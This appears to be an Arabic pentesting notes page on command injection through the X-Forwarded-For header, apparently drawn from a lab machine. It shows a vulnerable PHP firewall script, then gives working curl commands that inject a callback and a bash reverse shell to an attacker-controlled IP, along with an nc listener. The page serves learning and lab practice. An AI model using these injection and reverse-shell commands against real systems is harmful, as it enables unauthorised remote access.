> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/http-header-command-injection/http-header-command-injection-x-forwarded-for-pentesting-web.md).
# حقن أوامر X-Forwarded-For
إذا لاحظنا الملف `firewall.php`، نلاحظ أنه يسترجع الترويسة `HTTP_X_FORWARDED_FOR` ويستخدمها مع `sudo` لتنفيذ أمر:
```php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptable -A INPUT -s " . $ip . " -j ACCEPT");
?>
```
وبما أن هذا المتغير يمكن التحكم فيه عبر طلب HTTP، يمكننا حقن أمر عشوائي. **الاستغلال** وبما أن هذه ترويسة HTTP، يمكننا حقن أمر، على سبيل المثال باستخدام `curl` للاتصال بخادم الويب الخاص بنا. **إعداد خادم الويب:**
```bash
python3 -m http.server 80
```
**حقن الأوامر باستخدام `curl`:**
{% code overflow="wrap" %}
```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```
{% endcode %}
**شل عكسي** **الاستماع على المنفذ 443:**
```bash
nc -nlvp 443
```
**أمر للحصول على shell عن بُعد:**
{% code overflow="wrap" %}
```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```
{% endcode %}
بمجرد الاتصال، نكون المستخدم `www-data`.
---
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